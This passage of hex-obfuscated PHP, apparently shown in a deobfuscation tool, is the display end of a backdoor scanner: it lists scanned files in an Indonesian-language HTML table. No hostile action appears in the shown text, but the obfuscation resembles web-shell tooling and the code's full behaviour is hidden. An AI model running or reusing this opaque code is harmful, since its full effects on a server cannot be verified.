\x48:\x69:\x73",filemtime(${${"GL\x4f\x42A\x4cS"}["\x6e\x6b\x62s\x67j\x6b\x65\x76r"]})),"\x6c\x6fc\x61ti\x6f\x6e"=>${${"\x47\x4cOBA\x4c\x53"}["n\x6bb\x73\x67\x6ak\x65\x76\x72"]},"\x6cas\x74_\x75p\x64\x61te"=>date("\x59-\x6d-d\x20H:\x69:s",filemtime(${${"\x47\x4cO\x42A\x4c\x53"}["\x6ek\x62\x73\x67\x6ake\x76\x72"]})),"\x66ile\x5fsize"=>filesize(${$qlgjpockr}));${${"\x47L\x4fB\x41\x4c\x53"}["v\x66\x69\x63\x72\x65\x7a\x6b\x6a"]}[]=${$leaegr};}}}}return${${"G\x4c\x4fBA\x4c\x53"}["\x76f\x69\x63\x72\x65\x7ak\x6a"]};}if(!empty(${${"\x47\x4c\x4f\x42\x41L\x53"}["yd\x69q\x6f\x66\x6e"]})&&is_dir(${${"\x47\x4cOBA\x4c\x53"}["x\x78\x72\x6c\x72\x6b\x6c"]})){$zdodcerabjm="\x73c\x61\x6en\x65\x64\x46il\x65\x73";${"\x47L\x4fB\x41\x4cS"}["\x6df\x65\x61x\x79\x7a"]="s\x63\x61n\x6e\x65d\x46il\x65\x73";${${"\x47\x4cO\x42AL\x53"}["m\x66e\x61\x78\x79\x7a"]}=scanDirectory(${${"G\x4c\x4f\x42ALS"}["\x78\x78r\x6c\x72\x6b\x6c"]});if(!empty(${$zdodcerabjm})){echo"<\x64i\x76\x20\x63l\x61\x73\x73=\x22tabl\x65-\x72\x65\x73po\x6esi\x76\x65\">";echo"<\x74\x61b\x6c\x65 \x63\x6cas\x73=\"\x74ab\x6c\x65\x20\x74\x61ble-borde\x72\x65\x64\x20\x74\x61b\x6ce-str\x69\x70e\x64\">";echo"<\x74he\x61d>";echo"\x3c\x74r\x3e";echo"\x3cth>Wakt\x75</t\x68>";echo"\x3cth>\x4c\x6f\x6b\x61\x73i \x46i\x6ce\x3c/th\x3e";echo"<\x74h>\x54\x61ng\x67\x61\x6c T\x65r\x61kh\x69\x72\x20D\x69\x70\x65\x72\x62ar\x75i</th\x3e";echo"\x3ct\x68>U\x6bu\x72\x61n\x20F\x69\x6ce (K\x42)</th>";echo"</\x74r>";echo"</t\x68e\x61d>";echo"<\x74b\x6f\x64\x79>";foreach(${${"G\x4cOB\x41\x4c\x53"}["\x6f\x64\x6auo\x6d\x77\x76\x7a"]} as${${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x67\x68hck\x75\x63\x66"]}){echo"\x3ctr>";$rfxwbtent="\x66\x69\x6ce";echo"\x3c\x74d>".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x67\x68\x68\x63\x6b\x75\x63\x66"]}["time"]."</\x74\x64\x3e";echo"<td\x3e".${$rfxwbtent}["\x6co\x63\x61ti\x6fn"]."</\x74\x64>";$vethxhsuysl="f\x69\x6c\x65";echo"<\x74d\x3e".${${"G\x4cO\x42\x41LS"}["\x70g\x68\x68\x63\x6b\x75c\x66"]}["\x6ca\x73t_\x75pdat\x65"]."</td\x3e";echo"\x3ct\x64>".round(${$vethxhsuysl}["\x66\x69l\x65_\x73iz\x65"]/1024,2)."\x6bb"."</\x74\x64>";echo"</\x74\x72\x3e";}echo"\x3c/\x74b\x6fd\x79\x3e";echo"</\x74\x61\x62le>";echo"</\x64\x69v\x3e";}else{echo"\x3c\x64i\x76\x20c\x6c\x61s\x73\x3d\"\x61\x6c\x65\x72t\x20\x61\x6c\x65\x72t-\x73\x75cce\x73\x73\x20\x6dt-\x34\">Tida\x6b\x20ada\x20\x66i\x6ce\x20\x64\x65nga\x6e\x20\x62\x61ckdoor\x20te\x72d\x65\x74e\x6bs\x69\x2e</div>";}}}echo " \x20\x20\x3c/d\x69\x76\x3e\n \x20 \x20</div\x3e\n\x3c/\x64i\x76>\n\x3c!-- \x61k\x68\x69r -->\n<\x63ent\x65\x72\x3e\n\x20\x20 \x20<p\x3e\x43o\x64\x65d\x20\x77it\x68 &\x68e\x61r\x74\x73;\x20b\x79\x20R\x61m\x2e</p\x3e\n</c\x65nt\x65\x72>\n \x3c/di\x76>\n\x3c/body>\n\n\x3c/ht\x6d\x6c>\n";
Function Calls
None |
Stats
MD5 | ead2c0148c44bef547c75b8f421e5dfb |
Eval Count | 0 |
Decode Time | 57 ms |